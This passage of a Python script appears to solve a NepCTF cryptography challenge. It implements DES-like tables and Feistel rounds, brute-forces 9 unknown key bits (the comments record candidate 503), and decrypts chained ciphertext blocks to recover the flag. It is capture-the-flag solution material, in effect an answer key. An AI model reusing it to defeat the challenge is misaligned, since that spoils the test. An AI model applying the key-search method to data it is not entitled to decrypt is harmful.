        27, 28, 29, 30, 31, 0
96
        ]
97

98
__p = [15, 6, 19, 20, 28, 11, 27, 16,
99
       0, 14, 22, 25, 4, 17, 30, 9,
100
       1, 7, 23, 13, 31, 26, 2, 8,
101
       18, 12, 29, 5, 21, 10, 3, 24
102
       ]
103

104

105
def EP(data: List[int]) -> List[int]:
106
    return [data[x] for x in __ep]
107

108

109
def P(data: List[int]) -> List[int]:
110
    return [data[x] for x in __p]
111

112

113
__s_box = [
114

115
    [
116
        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
117
        [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
118
        [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
119
        [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
120
    ],
121

122
    [
123
        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],
124
        [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],
125
        [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],
126
        [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]
127
    ],
128

129
    [
130
        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],
131
        [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],
132
        [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],
133
        [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]
134
    ],
135

136
    [
137
        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],
138
        [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9],
139
        [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],
140
        [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]
141
    ],
142

143
    [
144
        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],
145
        [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],
146
        [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],
147
        [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]
148
    ],
149

150
    [
151
        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],
152
        [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],
153
        [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],
154
        [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]
155
    ],
156

157
    [
158
        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],
159
        [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],
160
        [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],
161
        [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]
162
    ],
163

164
    [
165
        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
166
        [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
167
        [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
168
        [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
169
    ]
170
]
171

172

173
def S_box(data: List[int]) -> List[int]:
174
    output = []
175
    for i in range(0, 48, 6):
176
        row = data[i] * 2 + data[i + 5]
177
        col = reduce(add, [data[i + j] * (2 ** (4 - j)) for j in range(1, 5)])
178
        output += [int(x) for x in format(__s_box[i // 6][row][col], '04b')]
179
    return output
180

181

182
def encrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]:
183
    plain = IP(plain)
184
    L, R = plain[:32], plain[32:]
185

186
    for i in range(16):
187
        prev_L = L
188
        L = R
189
        expanded_R = EP(R)
190
        xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])]
191
        substituted = S_box(xor_result)
192
        permuted = P(substituted)
193

194
        R = [a ^ b for a, b in zip(permuted, prev_L)]
195

196
    cipher = R + L
197
    cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31,
198
                                  38, 6, 46, 14, 54, 22, 62, 30,
199
                                  37, 5, 45, 13, 53, 21, 61, 29,
200
                                  36, 4, 44, 12, 52, 20, 60, 28,
201
                                  35, 3, 43, 11, 51, 19, 59, 27,
202
                                  34, 2, 42, 10, 50, 18, 58, 26,
203
                                  33, 1, 41, 9, 49, 17, 57, 25,
204
                                  32, 0, 40, 8, 48, 16, 56, 24]]
205

206
    return cipher
207

208

209
def bitxor(plain1: List[int], plain2: List[int]) -> List[int]:
210
    return [int(i) for i in
211
            bin(int(''.join(str(i) for i in plain1), 2) ^ int(''.join(str(i) for i in plain2), 2))[2:].zfill(64)]
212

213

214
def add(x, y):
215
    return x + y
216

217
def decrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]:
218
    # plain = IP(plain)
219
    L, R = plain[:32], plain[32:]
220

221
    for i in range(16):
222
        prev_L = L
223
        L = R
224
        expanded_R = EP(R)
225
        xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])]
226
        substituted = S_box(xor_result)
227
        permuted = P(substituted)
228

229
        R = [a ^ b for a, b in zip(permuted, prev_L)]
230

231
    cipher = R + L
232
    # cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31,
233
    #                               38, 6, 46, 14, 54, 22, 62, 30,
234
    #                               37, 5, 45, 13, 53, 21, 61, 29,
235
    #                               36, 4, 44, 12, 52, 20, 60, 28,
236
    #                               35, 3, 43, 11, 51, 19, 59, 27,
237
    #                               34, 2, 42, 10, 50, 18, 58, 26,
238
    #                               33, 1, 41, 9, 49, 17, 57, 25,
239
    #                               32, 0, 40, 8, 48, 16, 56, 24]]
240

241
    return cipher
242

243
P0 = [39, 7, 47, 15, 55, 23, 63, 31,
244
                                  38, 6, 46, 14, 54, 22, 62, 30,
245
                                  37, 5, 45, 13, 53, 21, 61, 29,
246
                                  36, 4, 44, 12, 52, 20, 60, 28,
247
                                  35, 3, 43, 11, 51, 19, 59, 27,
248
                                  34, 2, 42, 10, 50, 18, 58, 26,
249
                                  33, 1, 41, 9, 49, 17, 57, 25,
250
                                  32, 0, 40, 8, 48, 16, 56, 24]
251
P0_inv = [0] * len(P0)
252
for i, b in enumerate(P0):
253
    P0_inv[b] = i
254

255
_IP_inv = [0] * len(_IP)
256
for i, b in enumerate(_IP):
257
    _IP_inv[b] = i
258

259
def P_set(c, box):
260
    return [c[_] for _ in box]
261

262
def bin2str(x: []):
263
    res = bytearray()
264
    for i in range(0, len(x), 8):
265
        res.append(int("".join(map(str, x[i:i+8])), 2))
266
    return res
267

268
# 爆破过程
269
# check = []
270
# for test in range(2 ** 9):
271
# # for test in range(1):
272
#     LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
273
#     RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]
274
#     LL += list(map(int, bin(test)[2:].ljust(9, "0")))
275
#     sub_keys = []
276
#
277
#     t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]
278
#     for i in range(16):
279
#         combined = LL + RR
280
#         sub_key = PC_2(combined)
281
#         sub_keys.append(sub_key)
282
#         for j in range(ROTATIONS[::-1][i]):
283
#             LL.insert(0, LL.pop(-1))
284
#             RR.insert(0, RR.pop(-1))
285
#     # print(LL)
286
#     # print(RR)
287
#     # sub_keys = sub_keys[::-1]
288
#     # print(sub_keys)
289
#     ct = decrypt(P_set(t[:64], P0_inv), sub_keys)
290
#     print(test, bin2str(P_set(ct, _IP_inv)))
291
#     x = bin2str(P_set(ct, _IP_inv))
292
#     check.append((len(repr(x)), x, test))
293
# check.sort()
294
# print(check)
295
# (22, bytearray(b'NepCTF{N'), 503)
296

297
LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
298
RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]
299
LL += list(map(int, bin(503)[2:].ljust(9, "0")))
300
sub_keys = []
301

302
flag = b""
303
t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]
304
for i in range(16):
305
    combined = LL + RR
306
    sub_key = PC_2(combined)
307
    sub_keys.append(sub_key)
308
    for j in range(ROTATIONS[::-1][i]):
309
        LL.insert(0, LL.pop(-1))
310
        RR.insert(0, RR.pop(-1))
311
ct = decrypt(P_set(t[:64], P0_inv), sub_keys)
312
raw = P_set(ct, _IP_inv)
313
x = bin2str(raw)
314
print(x)
315
flag += x
316

317
z = raw
318
keys_t = LL + RR
319
key = [0] * 64
320
for i, b in enumerate(__pc1):
321
    key[b] = keys_t[i]
322
print(key)
323
print(bin2str(key))
324
ct = decrypt(P_set(t[64:64*2], P0_inv), get_sub_key(bitxor(z, key))[::-1])
325
raw = P_set(ct, _IP_inv)
326
x = bin2str(raw)
327
print(x)
328
flag += x
329

330

331
z = raw
332
ct = decrypt(P_set(t[64*2:64*3], P0_inv), get_sub_key(bitxor(z, key))[::-1])
333
raw = P_set(ct, _IP_inv)
334
x = bin2str(raw)
335
print(x)
336
flag += x
337

338
print(flag)